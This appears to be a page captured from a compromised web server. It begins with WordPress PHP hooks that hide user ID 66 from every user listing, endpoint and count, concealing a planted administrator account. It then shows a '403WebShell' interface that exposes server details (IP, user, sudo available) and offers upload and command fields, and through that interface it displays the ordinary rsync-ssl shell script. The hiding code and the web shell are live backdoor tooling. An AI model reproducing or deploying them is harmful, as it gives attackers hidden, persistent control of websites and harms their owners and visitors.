add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bin//rsync-ssl
#!/usr/bin/env bash

# This script uses openssl, gnutls, or stunnel to secure an rsync daemon connection.

# By default this script takes rsync args and hands them off to the actual
# rsync command with an --rsh option that makes it open an SSL connection to an
# rsync daemon.  See the rsync-ssl manpage for usage details and env variables.

# When the first arg is --HELPER, we are being used by rsync as an --rsh helper
# script, and the args are (note the trailing dot):
#
#    rsync-ssl --HELPER HOSTNAME rsync --server --daemon .
#
# --HELPER is not a user-facing option, so it is not documented in the manpage.

# The first SSL setup was based on:  http://dozzie.jarowit.net/trac/wiki/RsyncSSL
# Note that an stunnel connection requires at least version 4.x of stunnel.

function rsync_ssl_run {
    case "$*" in
    *rsync://*) ;;
    *::*) ;;
    *)
	echo "You must use rsync-ssl with a daemon-style hostname." 1>&2
	exit 1
	;;
    esac

    exec rsync --rsh="$0 --HELPER" "${@}"
}

function rsync_ssl_helper {
    if [[ -z "$RSYNC_SSL_TYPE" ]]; then
	found=`path_search openssl stunnel4 stunnel` || exit 1
	if [[ "$found" == */openssl ]]; then
	    RSYNC_SSL_TYPE=openssl
	    RSYNC_SSL_OPENSSL="$found"
	elif [[ "$found" == */gnutls-cli ]]; then
	    RSYNC_SSL_TYPE=gnutls
	    RSYNC_SSL_GNUTLS="$found"
	else
	    RSYNC_SSL_TYPE=stunnel
	    RSYNC_SSL_STUNNEL="$found"
	fi
    fi

    case "$RSYNC_SSL_TYPE" in
	openssl)
	    if [[ -z "$RSYNC_SSL_OPENSSL" ]]; then
		RSYNC_SSL_OPENSSL=`path_search openssl` || exit 1
	    fi
	    optsep=' '
	    ;;
	gnutls)
	    if [[ -z "$RSYNC_SSL_GNUTLS" ]]; then
		RSYNC_SSL_GNUTLS=`path_search gnutls-cli` || exit 1
	    fi
	    optsep=' '
	    ;;
	stunnel)
	    if [[ -z "$RSYNC_SSL_STUNNEL" ]]; then
		RSYNC_SSL_STUNNEL=`path_search stunnel4 stunnel` || exit 1
	    fi
	    optsep=' = '
	    ;;
	*)
	    echo "The RSYNC_SSL_TYPE specifies an unknown type: $RSYNC_SSL_TYPE" 1>&2
	    exit 1
	    ;;
    esac

    if [[ -z "$RSYNC_SSL_CERT" ]]; then
	certopt=""
	gnutls_cert_opt=""
    else
	certopt="-cert$optsep$RSYNC_SSL_CERT"
	gnutls_cert_opt="--x509certfile=$RSYNC_SSL_CERT"
    fi

    if [[ -z "$RSYNC_SSL_KEY" ]]; then
	keyopt=""
	gnutls_key_opt=""
    else
	keyopt="-key$optsep$RSYNC_SSL_KEY"
	gnutls_key_opt="--x509keyfile=$RSYNC_SSL_KEY"
    fi

    if [[ -z ${RSYNC_SSL_CA_CERT+x} ]]; then
	# RSYNC_SSL_CA_CERT unset - default CA set AND verify:
	# openssl:
	caopt="-verify_return_error -verify 4"
	# gnutls:
	gnutls_opts=""
	# stunnel:
	# Since there is no way of using the default CA certificate collection,
	# we cannot do any verification. Thus, stunnel should really only be
	# used if nothing else is available.
	cafile=""
	verify=""
    elif [[ "$RSYNC_SSL_CA_CERT" == "" ]]; then
	# RSYNC_SSL_CA_CERT set but empty -do NO verifications:
	# openssl:
	caopt="-verify 1"
	# gnutls:
	gnutls_opts="--insecure"
	# stunnel:
	cafile=""
	verify="verifyChain = no"
    else
	# RSYNC_SSL_CA_CERT set - use CA AND verify:
	# openssl:
	caopt="-CAfile $RSYNC_SSL_CA_CERT -verify_return_error -verify 4"
	# gnutls:
	gnutls_opts="--x509cafile=$RSYNC_SSL_CA_CERT"
	# stunnel:
	cafile="CAfile = $RSYNC_SSL_CA_CERT"
	verify="verifyChain = yes"
    fi

    port="${RSYNC_PORT:-0}"
    if [[ "$port" == 0 ]]; then
	port="${RSYNC_SSL_PORT:-874}"
    fi

    # If the user specified USER@HOSTNAME::module, then rsync passes us
    # the -l USER option too, so we must be prepared to ignore it.
    if [[ "$1" == "-l" ]]; then
	shift 2
    fi

    hostname="$1"
    shift

    if [[ -z "$hostname" || "$1" != rsync || "$2" != --server || "$3" != --daemon ]]; then
	echo "Usage: rsync-ssl --HELPER HOSTNAME rsync --server --daemon ." 1>&2
	exit 1
    fi

    if [[ $RSYNC_SSL_TYPE == openssl ]]; then
	exec $RSYNC_SSL_OPENSSL s_client $caopt $certopt $keyopt -quiet -verify_quiet -servername $hostname -verify_hostname $hostname -connect $hostname:$port
    elif [[ $RSYNC_SSL_TYPE == gnutls ]]; then
	exec $RSYNC_SSL_GNUTLS --logfile=/dev/null $gnutls_cert_opt $gnutls_key_opt $gnutls_opts $hostname:$port
    else
	# devzero@web.de came up with this no-tmpfile calling syntax:
	exec $RSYNC_SSL_STUNNEL -fd 10 11<&0 <<EOF 10<&0 0<&11 11<&-
foreground = yes
debug = crit
connect = $hostname:$port
client = yes
TIMEOUTclose = 0
$verify
$certopt
$cafile
EOF
    fi
}

function path_search {
    IFS_SAVE="$IFS"
    IFS=:
    for prog in "${@}"; do
	for dir in $PATH; do
	    [[ -z "$dir" ]] && dir=.
	    if [[ -f "$dir/$prog" && -x "$dir/$prog" ]]; then
		echo "$dir/$prog"
		IFS="$IFS_SAVE"
		return 0
	    fi
	done
    done

    IFS="$IFS_SAVE"
    echo "Failed to find on your path: $*" 1>&2
    echo "See the rsync-ssl manpage for configuration assistance." 1>&2
    return 1
}

if [[ "$#" == 0 ]]; then
    echo "Usage: rsync-ssl [--type=SSL_TYPE] RSYNC_ARG [...]" 1>&2
    echo "The SSL_TYPE can be openssl or stunnel"
    exit 1
fi

if [[ "$1" = --help || "$1" = -h ]]; then
    exec rsync --help
fi

if [[ "$1" == --HELPER ]]; then
    shift
    rsync_ssl_helper "${@}"
fi

if [[ "$1" == --type=* ]]; then
    export RSYNC_SSL_TYPE="${1/--type=/}"
    shift
fi

rsync_ssl_run "${@}"

Youez - 2016 - github.com/yon3zu
LinuXploit